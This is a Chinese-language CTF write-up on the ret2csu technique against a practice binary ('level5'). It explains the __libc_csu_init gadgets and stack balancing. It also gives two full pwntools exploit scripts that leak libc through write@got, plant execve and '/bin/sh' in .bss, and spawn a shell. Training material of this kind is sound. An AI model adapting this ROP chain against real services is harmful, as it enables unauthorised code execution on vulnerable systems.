ret2csu 在64位程序中,当函数参数小于等于6个时,参数从左到右放入寄存器:rdi,rsi,rdx,rcx,r8,r9,大于6个时放到栈上。
在大多数情况下,参数过多时很难找到部署寄存器值的gadget。但是还有一写万能gadget可以被利用,__libc_csu_init这个函数用于对libc进行初始化操作。
level5 蒸米的level5 https://github.com/zhengmin1989/ROP_STEP_BY_STEP
栈溢出
没有system之类的可以利用的。那么就要先泄露libc,然后调用了。
找到__libc_csu_init
第一段在0x04005f0,第二段在0x0400606
第一次栈溢出的目的是通过write函数打出write的地址
write函数原型
折叠代码块 BASH
复制代码
1 ssize_t write (int fd, const void * buf, size_t count)
fd 为文件描述符,fd为1时为标准输出
buf 需要输出的内存地址
count 输出字节数
那么rdi=1,rsi=write@got,rdx=8,正好是第一段__libc_csu_init
给这三个寄存器赋值需要用到第二段__libc_csu_init,给r13,r14,r15附上对应的。第二段其实就是pop [寄存器]
可以得到一个通用的利用函数:
折叠代码块 BASH
复制代码
1 2 3 4 5 6 7 8 9 10 def csu(rbx, rbp, r12, r13, r14, r15, arg): payload = b'a' * (128 + 8) payload += p64(csu_init_2) payload += p64(0) payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) payload += p64(csu_init_1) payload += b'a' * (0x38) payload += p64(arg) p.sendline(payload) sleep (1)
因为这个地方,所以rbx=0,rbp=1,r12=write@got
平衡堆栈问题:
首先跳转到六个move的地方给寄存器赋值,然后ret到三个move的地方将参数转移到需要的寄存器中去,但是六个move运行后会再次执行一遍三个move,这样会使得栈空间提升8*7总共56字节,所以我们还需要padding56个字节,然后才能覆盖ret到需要的地址上去
使用0x38个字节填充了:
可以看到这个下面也有一句add rsp,38h
第一次溢出:
折叠代码块 PYTHON
复制代码
1 csu(0 , 1 , write_got, 1 , write_got, 8 , main_addr)
不同版本的__libc_csu_init有所不同,要注意参数和寄存器对应的关系。(wiki里的level5不是蒸米的level5)
第二次溢出:
折叠代码块 PYTHON
复制代码
1 csu(0 , 1 , read_got, 0 , bss_base, 16 , main_addr)
因为call qword ptr [r12+rbx*8]
是间接跳转,也就是先将r12地址的值取出来,再进行跳转。最后的效果就是,从bss_base中取出system函数的地址,再跳转到system函数处。
第三次溢出:
折叠代码块 PYTHON
复制代码
1 csu(0 , 1 , bss_base, bss_base + 8 , 0 , 0 , main_addr)
调用execve(“/bin/sh”)
一开始是打算使用system的,但是又遇到了栈对齐问题,而且这一次怎么都无法解决,只好换成execve。很奇怪啊,添加ret和给system的地址从1加到16都没有解决。
写了两个版本的exp方便自己看
exp1:
折叠代码块 PYTHON
复制代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 from ctypes import *from struct import packfrom LibcSearcher import *from pwn import *banary = "/home/cake/Documents/pwn/wiki/medium_rop/level5" elf = ELF(banary) ip = "node5.buuoj.cn" port = 25363 local = 1 if local: p = process(banary) else : p = remote(ip, port) context(log_level="debug" , os="linux" , arch="amd64" ) csu_init_1 = 0x04005F0 csu_init_2 = 0x0400606 main_addr = 0x0400564 write_got = elf.got["write" ] read_got = elf.got["read" ] bss_base = 0x601028 libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) def csu (rbx, rbp, r12, r13, r14, r15, arg ): payload = b"a" * (128 + 8 ) payload += p64(csu_init_2) payload += p64(0 ) payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) payload += p64(csu_init_1) payload += b"a" * (0x38 ) payload += p64(arg) p.sendline(payload) sleep(1 ) csu(0 , 1 , write_got, 1 , write_got, 8 , main_addr) write_addr = u64(p.recv(8 )) libc_base = write_addr - libc.sym["write" ] execve_addr = libc_base + libc.sym["execve" ] csu(0 , 1 , read_got, 0 , bss_base, 16 , main_addr) p.send(p64(execve_addr) + b"/bin/sh\x00" ) csu(0 , 1 , bss_base, bss_base + 8 , 0 , 0 , main_addr) p.interactive()
exp2:
折叠代码块 PYTHON
复制代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 from ctypes import *from struct import packfrom LibcSearcher import *from pwn import *banary = "/home/cake/Documents/pwn/wiki/medium_rop/level5" elf = ELF(banary) ip = "node5.buuoj.cn" port = 25363 local = 1 if local: p = process(banary) else : p = remote(ip, port) context(log_level="debug" , os="linux" , arch="amd64" ) csu_init_1 = 0x04005F0 csu_init_2 = 0x0400606 main_addr = 0x0400564 write_got = elf.got["write" ] read_got = elf.got["read" ] bss_base = 0x601028 libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) payload = cyclic(0x80 + 8 ) payload += p64(csu_init_2) payload += p64(0 ) payload += p64(0 ) payload += p64(1 ) payload += p64(write_got) payload += p64(1 ) payload += p64(write_got) payload += p64(8 ) payload += p64(csu_init_1) payload += cyclic(0x38 ) payload += p64(main_addr) p.sendlineafter(b"Hello, World\n" , payload) sleep(1 ) write_addr = u64(p.recv(8 )) libc_base = write_addr - libc.sym["write" ] execve_addr = libc_base + libc.sym["execve" ] payload = cyclic(0x80 + 8 ) payload += p64(csu_init_2) payload += p64(0 ) payload += p64(0 ) payload += p64(1 ) payload += p64(read_got) payload += p64(0 ) payload += p64(bss_base) payload += p64(16 ) payload += p64(csu_init_1) payload += cyclic(0x38 ) payload += p64(main_addr) p.sendlineafter(b"Hello, World\n" , payload) sleep(1 ) p.send(p64(execve_addr) + b"/bin/sh\x00" ) sleep(1 ) payload = cyclic(0x80 + 8 ) payload += p64(csu_init_2) payload += p64(0 ) payload += p64(0 ) payload += p64(1 ) payload += p64(bss_base) payload += p64(bss_base + 8 ) payload += p64(0 ) payload += p64(0 ) payload += p64(csu_init_1) payload += b"/x00" * 0x38 payload += p64(main_addr) p.sendafter(b"Hello, World\n" , payload) p.interactive()
参考:
wiki
https://www.cnblogs.com/0x200/p/15765759.html
https://wiki.wgpsec.org/knowledge/ctf/ret2csu.html (图画得真好)
https://blog.csdn.net/qq_29912475/article/details/127701422